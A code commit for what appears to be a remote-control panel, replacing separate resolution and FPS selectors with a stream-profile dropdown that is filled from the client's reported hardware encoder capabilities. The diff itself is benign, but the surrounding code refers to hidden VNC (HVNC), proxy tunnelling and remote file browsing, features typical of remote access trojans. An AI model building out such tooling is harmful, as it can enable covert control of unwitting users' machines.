force users to pick capable display range.
This commit is contained in:
@@ -63,8 +63,8 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
|
||||
const kbdCtrl = document.getElementById("kbdCtrl");
|
||||
const cursorCtrl = document.getElementById("cursorCtrl");
|
||||
const duplicationCtrl = document.getElementById("duplicationCtrl");
|
||||
const resolutionSelect = document.getElementById("resolutionSelect");
|
||||
const targetFpsSelect = document.getElementById("targetFpsSelect");
|
||||
const streamProfileSelect = document.getElementById("streamProfileSelect");
|
||||
const streamProfileDetail = document.getElementById("streamProfileDetail");
|
||||
const smoothingSlider = document.getElementById("smoothingSlider");
|
||||
const smoothingValue = document.getElementById("smoothingValue");
|
||||
const qualitySlider = document.getElementById("qualitySlider");
|
||||
@@ -372,6 +372,7 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
|
||||
}
|
||||
|
||||
let savedDisplay = null;
|
||||
let savedStreamProfile = null;
|
||||
|
||||
function setSelectValue(select, value) {
|
||||
if (!select || value === undefined || value === null) return false;
|
||||
@@ -390,8 +391,11 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
|
||||
function applySharedSettings(settings) {
|
||||
if (!settings || typeof settings !== "object") return;
|
||||
savedDisplay = Number.isFinite(Number(settings.display)) ? Number(settings.display) : savedDisplay;
|
||||
setSelectValue(resolutionSelect, settings.resolution);
|
||||
setSelectValue(targetFpsSelect, settings.targetFps);
|
||||
savedStreamProfile = settings.streamProfile ||
|
||||
((settings.resolution !== undefined && settings.targetFps !== undefined)
|
||||
? `${settings.resolution}:${settings.targetFps}`
|
||||
: savedStreamProfile);
|
||||
setSelectValue(streamProfileSelect, savedStreamProfile);
|
||||
setSelectValue(webrtcMode, settings.webrtcMode);
|
||||
setSelectValue(audioTransport, settings.audioTransport);
|
||||
setSelectValue(recordMode, settings.recordMode);
|
||||
@@ -415,10 +419,14 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
|
||||
}
|
||||
|
||||
function readSharedSettings() {
|
||||
const profile = selectedStreamProfile();
|
||||
return {
|
||||
display: Number(displaySelect?.value || 0),
|
||||
resolution: resolutionSelect?.value || "1080",
|
||||
targetFps: targetFpsSelect?.value || "120",
|
||||
streamProfile: streamProfileSelect?.value || "1080:60",
|
||||
// Keep the legacy fields so HVNC and older remote-desktop builds that
|
||||
// share these preferences continue to receive equivalent settings.
|
||||
resolution: String(profile.maxHeight),
|
||||
targetFps: String(profile.fps),
|
||||
quality: Number(qualitySlider?.value || 90),
|
||||
preferH264: !!prefersH264,
|
||||
webrtcMode: getWebrtcMode(),
|
||||
@@ -906,8 +914,7 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
|
||||
pushInputToggles();
|
||||
pushCaptureToggles();
|
||||
if (qualitySlider) pushQuality(qualitySlider.value);
|
||||
pushTargetFps();
|
||||
pushResolution();
|
||||
pushStreamProfile();
|
||||
if (shouldRequestStart) {
|
||||
if (mode === "relayed") {
|
||||
sendCmd("desktop_start", { webrtc: true });
|
||||
@@ -1043,7 +1050,7 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
|
||||
desiredStreaming,
|
||||
display: displaySelect?.value ?? "",
|
||||
quality: qualitySlider?.value ?? "",
|
||||
resolution: resolutionSelect?.value ?? "",
|
||||
streamProfile: streamProfileSelect?.value ?? "",
|
||||
transport: getWebrtcMode(),
|
||||
lastFrameAgeMs: lastFrameAt ? Math.round(performance.now() - lastFrameAt) : null,
|
||||
});
|
||||
@@ -1200,6 +1207,7 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
|
||||
if (client) {
|
||||
populateDisplays(client.monitors, client.monitorInfo);
|
||||
applySavedDisplay();
|
||||
if (ws && ws.readyState === WebSocket.OPEN) requestEncoderCapabilities();
|
||||
}
|
||||
if (duplicationCtrl) {
|
||||
const os = (client?.os || "").toLowerCase();
|
||||
@@ -1282,35 +1290,75 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
|
||||
});
|
||||
}
|
||||
|
||||
function pushResolution() {
|
||||
if (resolutionSelect) {
|
||||
const maxHeight = parseInt(resolutionSelect.value, 10);
|
||||
console.debug("rd: pushResolution maxHeight=", maxHeight);
|
||||
sendCmd("desktop_set_resolution", { maxHeight: maxHeight });
|
||||
}
|
||||
function selectedStreamProfile() {
|
||||
const [heightValue, fpsValue] = String(streamProfileSelect?.value || "1080:60").split(":");
|
||||
const maxHeight = Number.parseInt(heightValue, 10);
|
||||
const fps = Number.parseInt(fpsValue, 10);
|
||||
return {
|
||||
maxHeight: Number.isFinite(maxHeight) ? maxHeight : 1080,
|
||||
fps: Number.isFinite(fps) ? Math.max(1, Math.min(240, fps)) : 60,
|
||||
};
|
||||
}
|
||||
|
||||
function selectedTargetFps() {
|
||||
const fps = Number(targetFpsSelect?.value || 120);
|
||||
return Number.isFinite(fps) ? Math.max(1, Math.min(240, Math.floor(fps))) : 120;
|
||||
function pushStreamProfile() {
|
||||
const profile = selectedStreamProfile();
|
||||
console.debug("rd: pushStreamProfile", profile);
|
||||
sendCmd("desktop_set_profile", profile);
|
||||
}
|
||||
|
||||
function pushTargetFps() {
|
||||
const fps = selectedTargetFps();
|
||||
console.debug("rd: pushTargetFps fps=", fps);
|
||||
sendCmd("desktop_set_fps", { fps });
|
||||
}
|
||||
|
||||
if (resolutionSelect) {
|
||||
resolutionSelect.addEventListener("change", function () {
|
||||
pushResolution();
|
||||
sharedSettingsSaver.scheduleSave();
|
||||
function requestEncoderCapabilities() {
|
||||
if (streamProfileDetail) streamProfileDetail.textContent = "Checking hardware encoder profiles…";
|
||||
sendCmd("desktop_encoder_capabilities", {
|
||||
display: Number.parseInt(displaySelect?.value || "0", 10) || 0,
|
||||
});
|
||||
}
|
||||
|
||||
if (targetFpsSelect) {
|
||||
targetFpsSelect.addEventListener("change", function () {
|
||||
pushTargetFps();
|
||||
function applyEncoderCapabilities(msg) {
|
||||
if (!msg || !Array.isArray(msg.profiles) || !streamProfileSelect) return;
|
||||
const selectedDisplay = Number.parseInt(displaySelect?.value || "0", 10) || 0;
|
||||
if (Number.isFinite(Number(msg.display)) && Number(msg.display) !== selectedDisplay) return;
|
||||
const previous = streamProfileSelect.value;
|
||||
streamProfileSelect.innerHTML = "";
|
||||
for (const profile of msg.profiles) {
|
||||
const maxHeight = Number(profile.maxHeight);
|
||||
const fps = Number(profile.fps);
|
||||
if (!Number.isFinite(maxHeight) || !Number.isFinite(fps)) continue;
|
||||
const option = document.createElement("option");
|
||||
option.value = `${maxHeight}:${fps}`;
|
||||
option.textContent = String(profile.label || `${fps} FPS - ${Number(profile.height) || maxHeight}p`);
|
||||
const providers = Array.isArray(profile.providers) ? profile.providers.join(", ") : "";
|
||||
if (providers) {
|
||||
option.title = `Available through ${providers}`;
|
||||
option.dataset.providers = providers;
|
||||
}
|
||||
streamProfileSelect.appendChild(option);
|
||||
}
|
||||
if (!streamProfileSelect.options.length) {
|
||||
const option = document.createElement("option");
|
||||
option.value = "1080:60";
|
||||
option.textContent = "60 FPS - 1080p";
|
||||
streamProfileSelect.appendChild(option);
|
||||
}
|
||||
if (!setSelectValue(streamProfileSelect, savedStreamProfile) &&
|
||||
!setSelectValue(streamProfileSelect, previous) &&
|
||||
!setSelectValue(streamProfileSelect, "1080:60")) {
|
||||
streamProfileSelect.selectedIndex = 0;
|
||||
}
|
||||
savedStreamProfile = streamProfileSelect.value;
|
||||
if (streamProfileDetail) {
|
||||
const providers = streamProfileSelect.selectedOptions[0]?.dataset?.providers || "";
|
||||
streamProfileDetail.textContent = providers ? `Available through ${providers}.` :
|
||||
(msg.detail || (msg.probed ? "Profiles tested on this display adapter." : "Safe fallback profiles shown."));
|
||||
}
|
||||
if (desiredStreaming) pushStreamProfile();
|
||||
}
|
||||
|
||||
if (streamProfileSelect) {
|
||||
streamProfileSelect.addEventListener("change", function () {
|
||||
savedStreamProfile = streamProfileSelect.value;
|
||||
const providers = streamProfileSelect.selectedOptions[0]?.dataset?.providers || "";
|
||||
if (streamProfileDetail && providers) streamProfileDetail.textContent = `Available through ${providers}.`;
|
||||
pushStreamProfile();
|
||||
sharedSettingsSaver.scheduleSave();
|
||||
});
|
||||
}
|
||||
@@ -1320,6 +1368,7 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
|
||||
sendCmd("desktop_select_display", {
|
||||
display: parseInt(displaySelect.value, 10),
|
||||
});
|
||||
requestEncoderCapabilities();
|
||||
sharedSettingsSaver.scheduleSave();
|
||||
});
|
||||
|
||||
@@ -1346,8 +1395,7 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
|
||||
desiredStreaming,
|
||||
display: displaySelect?.value ?? "",
|
||||
quality: qualitySlider?.value ?? "",
|
||||
resolution: resolutionSelect?.value ?? "",
|
||||
targetFps: targetFpsSelect?.value ?? "",
|
||||
streamProfile: streamProfileSelect?.value ?? "",
|
||||
prefersH264,
|
||||
duplication: !!duplicationCtrl?.checked,
|
||||
clientOs,
|
||||
@@ -1370,8 +1418,7 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
|
||||
if (prefersH264 && !useSoftwareH264()) {
|
||||
ensureDuplicationForH264();
|
||||
}
|
||||
pushTargetFps();
|
||||
pushResolution();
|
||||
pushStreamProfile();
|
||||
desiredStreaming = true;
|
||||
lastFrameAt = 0;
|
||||
firstFrameLogged = false;
|
||||
@@ -1924,6 +1971,10 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
|
||||
}
|
||||
|
||||
const msg = decodeMsgpack(buf);
|
||||
if (msg && msg.type === "desktop_encoder_capabilities") {
|
||||
applyEncoderCapabilities(msg);
|
||||
return;
|
||||
}
|
||||
if (msg && msg.type === "status" && msg.status) {
|
||||
handleStatus(msg);
|
||||
return;
|
||||
@@ -1959,6 +2010,10 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
|
||||
}
|
||||
|
||||
const msg = decodeMsgpack(ev.data);
|
||||
if (msg && msg.type === "desktop_encoder_capabilities") {
|
||||
applyEncoderCapabilities(msg);
|
||||
return;
|
||||
}
|
||||
if (msg && msg.type === "status" && msg.status) {
|
||||
handleStatus(msg);
|
||||
return;
|
||||
@@ -2000,8 +2055,7 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
|
||||
display: parseInt(displaySelect.value, 10) || 0,
|
||||
});
|
||||
}
|
||||
pushTargetFps();
|
||||
pushResolution();
|
||||
pushStreamProfile();
|
||||
const mode = getWebrtcMode();
|
||||
if (mode === "relayed") {
|
||||
sendCmd("desktop_start", { webrtc: true });
|
||||
@@ -2015,6 +2069,7 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
|
||||
setStreamState("idle", "Stopped");
|
||||
}
|
||||
sendCmd("desktop_record_status", {});
|
||||
requestEncoderCapabilities();
|
||||
fetchClientInfo().then(() => {
|
||||
if (displaySelect && displaySelect.value) {
|
||||
console.debug("rd: initial select display", displaySelect.value);
|
||||
|
||||
@@ -139,18 +139,6 @@
|
||||
<i class="fa-solid fa-rotate"></i>
|
||||
</button>
|
||||
</div>
|
||||
<div class="flex items-center gap-2">
|
||||
<label class="text-sm text-slate-300 w-20" for="resolutionSelect">Resolution</label>
|
||||
<select
|
||||
id="resolutionSelect"
|
||||
class="flex-1 bg-slate-800 border border-slate-700 rounded px-2 py-1 text-sm text-slate-100"
|
||||
>
|
||||
<option value="720">720p</option>
|
||||
<option value="1080" selected>1080p</option>
|
||||
<option value="1440">1440p</option>
|
||||
<option value="-1">Native</option>
|
||||
</select>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="px-4 py-3 border-b border-slate-800">
|
||||
@@ -177,21 +165,19 @@
|
||||
</select>
|
||||
</div>
|
||||
<div class="flex items-center gap-2 mb-2">
|
||||
<label class="text-sm text-slate-300 w-20" for="targetFpsSelect">Max FPS</label>
|
||||
<label class="text-sm text-slate-300 w-20" for="streamProfileSelect">Profile</label>
|
||||
<select
|
||||
id="targetFpsSelect"
|
||||
id="streamProfileSelect"
|
||||
class="flex-1 bg-slate-800 border border-slate-700 rounded px-2 py-1 text-sm text-slate-100"
|
||||
title="Target capture and encoder frame rate"
|
||||
title="Resolution and frame-rate combinations supported by this computer"
|
||||
>
|
||||
<option value="30">30 fps</option>
|
||||
<option value="60">60 fps</option>
|
||||
<option value="90">90 fps</option>
|
||||
<option value="120" selected>120 fps</option>
|
||||
<option value="144">144 fps</option>
|
||||
<option value="165">165 fps</option>
|
||||
<option value="240">240 fps</option>
|
||||
<option value="720:30">30 FPS - 720p</option>
|
||||
<option value="720:60">60 FPS - 720p</option>
|
||||
<option value="1080:30">30 FPS - 1080p</option>
|
||||
<option value="1080:60" selected>60 FPS - 1080p</option>
|
||||
</select>
|
||||
</div>
|
||||
<div id="streamProfileDetail" class="mb-2 text-xs text-slate-500">Checking hardware encoder profiles…</div>
|
||||
<div class="flex items-center justify-between gap-2">
|
||||
<label class="flex items-center gap-2 text-sm text-slate-200" title="Prefer H.264 when available; disable to force JPEG">
|
||||
<input type="checkbox" id="codecH264" checked /> H.264
|
||||
|
||||
@@ -90,6 +90,7 @@ import { prepareTlsOptions, logServerStartup } from "./server/tls-bootstrap";
|
||||
import { createWebSocketRuntime } from "./server/websocket-runtime";
|
||||
import {
|
||||
handleConsoleOutput,
|
||||
handleDesktopEncoderCapabilities,
|
||||
handleConsoleViewerMessage,
|
||||
handleConsoleViewerOpen,
|
||||
handleHVNCViewerMessage,
|
||||
@@ -653,6 +654,7 @@ async function startServer() {
|
||||
storeNotificationScreenshot: storeNotificationScreenshotForPending,
|
||||
handleNotificationScreenshotResult: notificationPluginHandlers.handleNotificationScreenshotResult,
|
||||
handleConsoleOutput: (clientId: string, payload: any) => handleConsoleOutput(clientId, payload),
|
||||
handleDesktopEncoderCapabilities: (clientId: string, payload: any) => handleDesktopEncoderCapabilities(clientId, payload),
|
||||
handleFileBrowserMessage: (clientId: string, payload: any) =>
|
||||
forwardFileBrowserMessage(clientId, payload, {
|
||||
pendingHttpDownloads,
|
||||
|
||||
@@ -7,6 +7,7 @@ export type MessageKind =
|
||||
| "pong"
|
||||
| "command"
|
||||
| "command_result"
|
||||
| "desktop_encoder_capabilities"
|
||||
| "client_logs_result"
|
||||
| "screenshot_result"
|
||||
| "frame"
|
||||
|
||||
@@ -221,6 +221,7 @@ type WsLifecycleDeps = {
|
||||
) => void;
|
||||
handleNotificationScreenshotResult: (clientId: string, payload: any) => void;
|
||||
handleConsoleOutput: (clientId: string, payload: any) => void;
|
||||
handleDesktopEncoderCapabilities: (clientId: string, payload: any) => void;
|
||||
handleFileBrowserMessage: (clientId: string, payload: any) => void;
|
||||
handleProxyTunnelData: (clientId: string, connectionId: string, data: Uint8Array) => void;
|
||||
handleProxyTunnelClose: (clientId: string, connectionId: string) => void;
|
||||
@@ -795,6 +796,9 @@ export async function handleWebSocketMessage(
|
||||
case "console_output":
|
||||
deps.handleConsoleOutput(client.id, payload);
|
||||
break;
|
||||
case "desktop_encoder_capabilities":
|
||||
deps.handleDesktopEncoderCapabilities(client.id, payload);
|
||||
break;
|
||||
case "file_list_result":
|
||||
case "file_download":
|
||||
case "file_upload_result":
|
||||
|
||||
@@ -368,6 +368,11 @@ export function handleRemoteDesktopViewerMessage(ws: ServerWebSocket<SocketData>
|
||||
|
||||
logger.debug(`[rd] inbound viewer msg type=${payload.type} client=${clientId}`);
|
||||
switch (payload.type) {
|
||||
case "desktop_encoder_capabilities":
|
||||
sendDesktopCommand(target, "desktop_encoder_capabilities", {
|
||||
display: Number((payload as any).display) || 0,
|
||||
});
|
||||
break;
|
||||
case "desktop_start":
|
||||
logger.debug(`[rd-debug] desktop_start requested client=${clientId} session=${ws.data.sessionId || ""} state=${JSON.stringify(state)} viewers=${sessionManager.getRdSessionsForClient(clientId).length} webrtc=${(payload as any).webrtc === true}`);
|
||||
if (!state.isStreaming) {
|
||||
@@ -554,6 +559,18 @@ export function handleRemoteDesktopViewerMessage(ws: ServerWebSocket<SocketData>
|
||||
}
|
||||
break;
|
||||
}
|
||||
case "desktop_set_profile": {
|
||||
const newMaxHeight = Number((payload as any).maxHeight) || 0;
|
||||
const newMaxFps = clampDesktopFps((payload as any).fps);
|
||||
if (state.maxHeight !== newMaxHeight || state.maxFps !== newMaxFps) {
|
||||
sendDesktopCommand(target, "desktop_set_profile", { maxHeight: newMaxHeight, fps: newMaxFps });
|
||||
state.maxHeight = newMaxHeight;
|
||||
state.maxFps = newMaxFps;
|
||||
rdStreamingState.set(clientId, state);
|
||||
logger.debug(`[rd] set stream profile max_height=${newMaxHeight} fps=${newMaxFps}`);
|
||||
}
|
||||
break;
|
||||
}
|
||||
case "desktop_set_fps": {
|
||||
const newMaxFps = clampDesktopFps((payload as any).fps);
|
||||
if (state.maxFps !== newMaxFps) {
|
||||
@@ -1425,6 +1442,12 @@ export function sendHVNCCommand(target: ClientInfo | undefined, commandType: str
|
||||
}
|
||||
}
|
||||
|
||||
export function handleDesktopEncoderCapabilities(clientId: string, payload: any) {
|
||||
for (const session of sessionManager.getRdSessionsForClient(clientId)) {
|
||||
safeSendViewer(session.viewer, payload);
|
||||
}
|
||||
}
|
||||
|
||||
(globalThis as any).__hvncBroadcast = (clientId: string, bytes: Uint8Array, header?: any): boolean => {
|
||||
const state = hvncStreamingState.get(clientId) || defaultHVNCStreamingState();
|
||||
if (!state.isStreaming) {
|
||||
|
||||
@@ -20,6 +20,7 @@ export const ALLOWED_CLIENT_MESSAGE_TYPES = new Set([
|
||||
"file_peek_result",
|
||||
"file_hash_result",
|
||||
"command_result",
|
||||
"desktop_encoder_capabilities",
|
||||
"client_logs_result",
|
||||
"screenshot_result",
|
||||
"command_progress",
|
||||
|
||||
Reference in New Issue
Block a user